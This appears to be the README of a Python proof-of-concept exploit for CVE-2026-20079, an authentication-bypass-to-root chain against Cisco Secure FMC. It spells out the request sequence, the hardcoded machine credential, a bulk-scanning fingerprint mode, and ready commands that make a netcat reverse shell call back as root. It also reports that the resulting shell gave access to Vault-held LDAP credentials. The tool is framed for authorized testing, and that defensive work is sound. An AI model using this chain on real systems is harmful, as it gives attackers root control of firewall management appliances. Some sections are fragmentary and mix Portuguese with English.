
Implementa a cadeia de bypass de autenticação para RCE como root do CVE-2026-20079 contra o Cisco Secure FMC usando os modos fingerprint, check, proof e interactive exploit.
Prova de conceito em Python para a cadeia de autenticação-bypass-para-root-RCE publicamente documentada no Cisco Secure Firewall Management Center em CVE-2026-20079.
Esta não é uma vulnerabilidade nova nem uma cadeia de exploração desenvolvida de forma independente. É uma implementação clean-room da sequência de requisições publicada pela VulnCheck, com modos separados de fingerprint, verificação, prova one-shot e exploração interativa.
É necessário Python 3.10 ou posterior. No Linux ou macOS:```bash git clone https://github.com/CyberAuth/CVE-2026-20079.git cd CVE-2026-20079 python3 -m venv .venv source .venv/bin/activate python3 -m pip install -r requirements.txt python3 CVE-2026-20079.py --help
## Substitua os endereços de exemplo
Todos os valores `192.0.2.x` abaixo são endereços de documentação reservados. Eles são
placeholders, não informações de alvo descobertas, e devem ser substituídos por
valores da avaliação autorizada. Não se espera que os comandos funcionem sem
alterações.
| Exemplo | Significado | O que usar em vez disso |
| --- | --- | --- |
| `https://192.0.2.10` | URL do FMC alvo | O esquema, endereço e porta exatos do FMC autorizado |
| `192.0.2.20` | Endereço para o qual o FMC se conecta de volta | O endereço IP ou nome DNS do listener do operador **conforme acessível a partir do FMC** |
| `192.0.2.0/24` | Exemplo de CIDR de fingerprint | Um intervalo de rede explicitamente autorizado |
| `4444` | Porta TCP de callback/listener | Uma porta aprovada e acessível no sistema de callback |
| `0.0.0.0` | Onde o listener faz bind no sistema do operador | Mantenha-o para escutar em todas as interfaces locais, ou use o endereço de uma interface local |
| `192.0.2.10` em `--expected-callback-source` | Origem esperada do callback | O endereço de origem do FMC conforme observado pelo listener; omita esta opção quando o NAT a tornar incerta |
| `http://127.0.0.1:8080` | Proxy de interceptação local opcional | A URL do proxy realmente em escuta no sistema do operador |
### Escolhendo `--callback-host`
Use esta regra: **do ponto de vista do FMC, qual endereço alcança o
listener do operador?** Esse endereço é `--callback-host`.
| Caminho de rede | Valor típico de `--callback-host` |
| --- | --- |
| Operador e FMC estão na mesma rede roteada | O endereço LAN acessível do sistema do operador, como `eth0`, `en0` ou outro |
| O operador alcança o FMC por meio de uma VPN | O endereço acessível da interface VPN, como `tun0` ou `utun`, quando o FMC tem uma rota para ele |
| O operador está atrás de NAT ou firewall | O IP público ou nome DNS cuja porta selecionada é encaminhada para o sistema do operador |
| Um túnel de callback ou VPS é usado | O endpoint do túnel ou endereço do VPS acessível |
Não use `127.0.0.1` ou `0.0.0.0` para `--callback-host`. `127.0.0.1` se
referiria ao próprio FMC, enquanto `0.0.0.0` é um valor de bind de listener, não um
destino. Garanta que roteamento, regras de firewall e qualquer encaminhamento de porta permitam que o
FMC alcance `--callback-host` na porta `--callback-port`.
`--listen-host` é apenas local: ele seleciona a interface na qual o listener
integrado aguarda. Seu padrão, `0.0.0.0`, escuta em todas as interfaces locais. Ele
não informa ao FMC onde se conectar. Portanto, `--callback-host` e
`--listen-host` podem ser diferentes, especialmente através de NAT.
### Exemplo prático: operador e FMC na mesma rede
Considere este laboratório fictício, apenas para documentação:```text
Operator system FMC target
eth0: 192.0.2.20 192.0.2.10
1. Operator ---------------------------------------> FMC
HTTPS requests to https://192.0.2.10
2. Operator <--------------------------------------- FMC
Listener on TCP 4444 callback to 192.0.2.20:4444
Os valores mapeiam para o comando da seguinte forma:
--target https://192.0.2.10 identifica o FMC que está sendo avaliado.--callback-host 192.0.2.20 é o endereço eth0 do sistema do operador, porque
o FMC pode rotear diretamente para ele.--callback-port 4444 é a porta TCP aprovada usada pelo callback.--listen-host 0.0.0.0 faz com que o listener integrado aceite o callback em
qualquer interface local, incluindo eth0.Um comando de prova único para esse exemplo seria:```bash
python3 CVE-2026-20079.py
--proof
--target https://192.0.2.10
--callback-host 192.0.2.20
--callback-port 4444
--listen-host 0.0.0.0
O fluxo é: o operador envia solicitações HTTPS para `192.0.2.10`, então o FMC
conecta de volta ao `192.0.2.20:4444` do operador. Em uma avaliação real,
substitua ambos os endereços IP e confirme a rota de retorno antes de executar o
comando. Se o FMC não conseguir alcançar o endereço `eth0` do operador, use o
endereço VPN, NAT, túnel ou VPS alcançável descrito acima.
## Modos e referência rápida de comandos
| Modo | Efeito na rede ou no alvo | O que o sucesso estabelece |
| --- | --- | --- |
| `--fingerprint` | Apenas solicitações GET | Uma possível superfície web do FMC; não é confirmação de vulnerabilidade |
| `--check` | Atualiza o estado da sessão no servidor | Bypass de autenticação e acesso a um token de ação |
| `--proof` | Grava e executa um payload de callback limitado | Execução como root e limpeza, sem shell interativo |
| `--exploit` | Grava e executa um payload FIFO/netcat | Um callback root interativo, ou verificação limitada com `--auto-verify` |
Defina os três valores de exemplo uma vez, substituindo cada um pelo alvo autorizado,
endereço de callback do operador e porta:```bash
# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20 # Address the FMC can use to reach this listener
CALLBACK_PORT=4444
Então escolha exatamente um modo:```bash
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"
python3 CVE-2026-20079.py --check --target "$FMC_URL"
python3 CVE-2026-20079.py --proof --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL"
--callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"
--auto-verify
> [!IMPORTANT]
> A identificação por impressão digital (fingerprinting) é uma etapa heurística de identificação de produtos, não uma verificação de vulnerabilidade. `MATCH` e `LIKELY` não provam que o alvo está afetado ou explorável, e `NO_MATCH` não descarta FMC. Proxies reversos, páginas de login personalizadas, controles de acesso, falhas de rede ou alterações de produto podem afetar o resultado.
A identificação por impressão digital envia solicitações de rede, mas não executa a cadeia de bypass de autenticação ou RCE. Leia os detalhes de classificação, as descrições dos modos e o aviso sobre estado de sessão abaixo antes de usar `--check`, `--proof` ou `--exploit`.
> [!WARNING]
> Não execute `--check`, `--proof` ou `--exploit` sem autorização escrita explícita que cubra as alterações no alvo e o método de prova. Leia primeiro os pré-requisitos, a limitação do estado de sessão e os requisitos de callback.
## Como funciona a cadeia do exploit
A cadeia ativa fornece `CGISESSID=csm_processes` para `/login.cgi?logon=Continue`, usa a credencial de máquina publicada `report:snortrules`, extrai `sf_action_id` de `/ui/user/general`, grava um script no formato Makeself através de `validateLicense` e o aciona por meio de `SF::UI::DataObjectLibrary::upgradeReadinessCall`.
## Pré-requisito importante
Uma versão de software afetada nem sempre é explorável no momento do teste. A sessão `csm_processes` criada na inicialização ainda deve existir. Atividade normal de UI autenticada e limpeza de sessão podem removê-la. Não reinicie um FMC de produção apenas para satisfazer esse pré-requisito.
## Limitação do estado de sessão
Os modos `--check`, `--proof` e `--exploit` promovem a sessão `csm_processes` no lado do servidor. O PoC não tenta retornar essa sessão ao seu estado parcial original porque não há operação de rebaixamento documentada pelo fornecedor. Limpar um cookie do cliente não desfaria a alteração no lado do servidor; sair da sessão, forçar a expiração ou excluir a entrada do banco de dados destruiria a sessão em vez de restaurá-la e poderia interferir na validação subsequente ou no comportamento do appliance. Os recursos de limpeza automática removem apenas arquivos temporários de RCE; eles não afirmam restaurar o estado da sessão. `--fingerprint` não usa nem modifica essa sessão.
## Pré-requisitos de tempo de execução do alvo
Ambos os payloads de callback exigem:
- Um `/bin/sh` compatível com POSIX.
- `rm` e `command`.
- Um dos `nc`, `netcat` ou `ncat` disponíveis no `PATH` de execução do alvo.
- Conectividade TCP de saída do FMC para o endereço e porta de callback fornecidos.
O payload interativo `--exploit` adicionalmente exige `mkfifo`. O payload de disparo único `--proof` não cria um FIFO nem um shell interativo.
O payload verifica os três nomes de comando netcat suportados antes de tentar o callback. Se nenhum estiver presente, ele sai por meio de suas traps de limpeza. Como o erro ocorre dentro do caminho de execução cego no lado do servidor, o testador observa um callback ausente em vez de uma mensagem de erro remota detalhada.
`--auto-verify` usa a biblioteca socket do Python e não exige uma instalação local de netcat. O modo de listener manual pode usar `nc`, `ncat`, `socat` ou outro listener TCP escolhido pelo operador.
## Fingerprinting FMC somente GET
Fingerprint de uma URL:```bash
python3 CVE-2026-20079.py \
--fingerprint \
--target https://192.0.2.10
Identifique um arquivo contendo uma URL, endereço IP, hostname ou valor host:port por linha:```bash
python3 CVE-2026-20079.py
--fingerprint
--targets-file targets.txt
--fingerprint-scheme https
--fingerprint-port 443
--workers 10
Identifique um intervalo de rede explicitamente autorizado:```bash
python3 CVE-2026-20079.py \
--fingerprint \
--network 192.0.2.0/24 \
--fingerprint-scheme https \
--fingerprint-port 443 \
--workers 20 \
--max-hosts 256
Este modo é de baixo impacto, não literalmente passivo: ele envia requisições de rede. Os redirecionamentos são desativados globalmente, e a ferramenta segue apenas um redirecionamento HTTP real para o caminho exato /ui/login que permanece no esquema, host e porta originais. A resposta de login deve ser bem-sucedida (HTTP 2xx) antes que a ferramenta relate MATCH ou LIKELY. Ela não anexa o cookie de exploit, não envia credenciais, não envia requisições POST, não segue redirecionamentos externos, não verifica uma versão nem comprova a CVE-2026-20079. MATCH significa que a marca foi observada em uma resposta bem-sucedida, LIKELY significa que a rota de login bem-sucedida de mesma origem foi correspondida sem a marca no HTML bruto, e NO_MATCH significa que a impressão digital limitada não identificou FMC.
Apenas --fingerprint aceita --targets-file ou --network. Os modos check, proof e exploit permanecem deliberadamente como operações de alvo único. A expansão de arquivos e CIDRs é deduplicada e limitada por --max-hosts (padrão 4096), enquanto a concorrência é limitada por --workers (padrão 10, máximo 100).
python3 CVE-2026-20079.py
--target https://192.0.2.10
--check
Success requires both the expected HTTP 302 session upgrade and a 200 response containing a session-specific `sf_action_id`.
The PoC keeps the complete action token in memory for the request chain but prints only a shortened fingerprint. Treat raw response bodies containing the complete token as sensitive session evidence and do not publish them.
After a successful check, the server-side session remains upgraded. The tool reports this explicitly and does not attempt an undocumented rollback.
## Prova de root em uma única execução
Use isto quando for necessária evidência de execução como root, mas um shell interativo for desnecessário:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--proof \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--expected-callback-source 192.0.2.10
O modo de prova sempre inicia o listener integrado antes da solicitação de gravação de arquivo. O alvo envia marcadores de início/fim aleatórios, id, hostname, nome do diretório de build e o status de limpeza de /var/tmp/license.tmp, e então desconecta. O sucesso exige uid=0(root) e a ausência verificada do script temporário. Ele não cria um FIFO, não expõe um canal de comando interativo nem executa pós-exploração específica do ambiente.
Inicie um listener no sistema de callback autorizado:```bash
nc -lvnp 4444
nc -lvn 4444
Execute um comando de listener apropriado para o sistema de callback, não ambos.
Em seguida, execute:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444
Valide o callback:```bash id hostname -f
O PoC imprime o caminho exato do FIFO temporário. Remova apenas esses dois artefatos de exploit conhecidos do shell do FMC:```bash
rm -f /tmp/.fmc_poc_<printed_suffix> /var/tmp/license.tmp
O PoC pode executar seu próprio listener de callback e realizar pós-exploração limitada automaticamente:```bash
python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
`--auto-verify` executa apenas as seguintes ações por meio do callback:
1. Executa `id` e exige `uid=0(root)`.
2. Coleta `hostname -f` e o nome do diretório de build do FMC.
3. Remove o FIFO aleatório exato criado por esta execução e `/var/tmp/license.tmp`.
4. Verifica que ambos os caminhos estão ausentes.
5. Sai do callback.
O payload gerado também remove o vínculo de `/var/tmp/license.tmp` assim que a execução começa e instala manipuladores de limpeza de saída/sinal do shell para ambos os caminhos temporários. A verificação automática ainda executa e verifica uma limpeza explícita independente. Se uma gravação for tentada, mas o callback ou a prova de limpeza estiver incompleta, o PoC sai com código diferente de zero e imprime os dois caminhos exatos que podem exigir revisão manual autorizada.
Se o endereço do callback diferir do endereço de bind local, especifique este último separadamente:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--exploit \
--callback-host 192.0.2.20 \
--callback-port 4444 \
--auto-verify \
--listen-host 0.0.0.0 \
--callback-wait 60
Quando a origem do callback deve ser o próprio endereço FMC e nenhum NAT do lado do callback está envolvido, o listener pode rejeitar conexões não relacionadas:```bash
python3 CVE-2026-20079.py
--target https://192.0.2.10
--exploit
--callback-host 192.0.2.20
--callback-port 4444
--auto-verify
--expected-callback-source 192.0.2.10
Failure to receive a callback does not distinguish among a patched target, a missing boot session, blocked egress, an unavailable/incompatible target-side netcat implementation, or another runtime failure.
Automatic Vault enumeration, credential extraction, persistence, and lateral movement are intentionally excluded. Those activities are not required to prove CVE-2026-20079 and depend on environment-specific authorization and configuration.
## Por que o PoC usa FIFO/netcat
A primeira reprodução manual usou um callback Bash `/dev/tcp`. Ambos os estágios do exploit HTTP retornaram suas respostas esperadas, mas nenhuma conexão chegou. Isso demonstrou por que o status HTTP por si só não é prova de execução e por que recursos de callback específicos do shell não devem ser presumidos em um appliance.
A nova tentativa bem-sucedida usou o padrão de compatibilidade FIFO/netcat documentado na pesquisa pública. Este PoC, portanto, adota diretamente esse padrão comprovado e deliberadamente não repete o método `/dev/tcp` que falhou. Ele verifica se há `nc`, `netcat` ou `ncat`, exige um callback real e `uid=0(root)` no modo automático e retorna um valor diferente de zero quando o callback ou a prova de limpeza está ausente. Ele não consegue determinar o motivo exato de uma falha de callback sem resposta, portanto relata os pré-requisitos plausíveis de runtime e rede em vez de afirmar que o alvo está corrigido.
## Escopo de pós-exploração
Este repositório automatiza a CVE a partir de um estado não autenticado até um callback de root verificado e limpeza. Ele **não** automatiza coleta de credenciais, exportação de segredos ou movimento lateral.
Durante uma avaliação autorizada, o shell root resultante expôs um serviço HashiCorp Vault em execução local no FMC. Um token de cliente Vault local ao appliance permitiu o acesso a um registro de credencial LDAP configurado, e essa credencial posteriormente concluiu um bind LDAPS autorizado. Este é um caminho de pós-exploração observado em um ambiente, não uma propriedade universal ou pré-requisito da CVE-2026-20079.
Consulte [BLOG.md](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/BLOG.md) para a história da pesquisa em primeira pessoa: o contexto público, o processo de exploração manual, o callback com falha, o payload de compatibilidade bem-sucedido, o caminho de pós-exploração observado, as lições aprendidas e o eventual desenvolvimento desta ferramenta.
## Proxy opcional
Para observar as requisições em um proxy de interceptação:```bash
python3 CVE-2026-20079.py \
--target https://192.0.2.10 \
--check \
--proxy http://127.0.0.1:8080
Somente HTTP 302 ou HTTP 200 não prova RCE como root. Trate o problema como:
--fingerprint observa o comportamento limitado de login ou o branding; isso não é, por si só, uma constatação de vulnerabilidade.sf_action_id válido.id informa uid=0(root).O listener integrado usa marcadores de verificação aleatórios por execução, limita a saída capturada do callback, opcionalmente filtra a origem do callback e retorna um status diferente de zero se root ou limpeza não puderem ser verificados. O modo de listener manual não pode comprovar essas condições ao processo Python; sua saída bem-sucedida significa que a cadeia HTTP foi submetida, não que a execução como root foi observada de forma independente.
0: o fingerprinting foi concluído com pelo menos um resultado sem erro; --check confirmou a bypass de autenticação; --proof ou --auto-verify confirmaram root e limpeza; ou o modo de listener manual submeteu com êxito a cadeia HTTP esperada.1: o alvo não correspondeu a uma resposta esperada, a prova de callback/root/limpeza falhou ou ocorreu um erro de requisição/listener.2: argumentos de linha de comando inválidos.130: interrompido pelo operador. Se uma gravação de payload foi tentada, a ferramenta também imprime os caminhos exatos cuja limpeza permanece não verificada./login.cgi?logon=Continue usando o cookie csm_processes e o usuário de máquina report./ui/user/general imediatamente após a atualização da sessão.validateLicense para /sajaxintf.cgi?rs=callServerFunc.SF::UI::DataObjectLibrary::upgradeReadinessCall submetido para /pjb.cgi./var/tmp/license.tmp contendo um marcador Makeself./tmp, um /bin/sh interativo, nc e tráfego de saída inesperado do FMC.A configuração rápida instala a dependência de runtime de requirements.txt em um
ambiente virtual isolado. Execute os testes unitários da biblioteca padrão e os
testes locais de integração simulada sem contatar um alvo público:```bash
python3 -m unittest discover -s tests -v
## Referências
- [Comunicado da Cisco](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [Análise técnica da VulnCheck](https://www.vulncheck.com/blog/cisco-fmc-auth-bypass-cve-2026-20079)
## Aviso legal
Use apenas em sistemas que você possui ou para os quais tenha autorização escrita explícita para testar.
Esta prova de conceito pode alterar o estado da sessão no servidor e executar comandos
como root. Você é responsável por obter autorização, definir um escopo seguro e um limite
de prova, proteger as evidências coletadas e cumprir as leis, contratos e regras de
fornecedores ou programas aplicáveis. O autor e os colaboradores não autorizam acesso ilegal,
interrupção ou coleta de dados.
O software é fornecido "as is", sem garantia, e os autores e os
detentores de direitos autorais isentam-se de responsabilidade na medida máxima permitida por lei.
Consulte a [Licença MIT](https://github.com/cyberauth/cve-2026-20079/blob/HEAD/LICENSE) para os termos completos. Este aviso de uso não
modifica nem restringe a licença.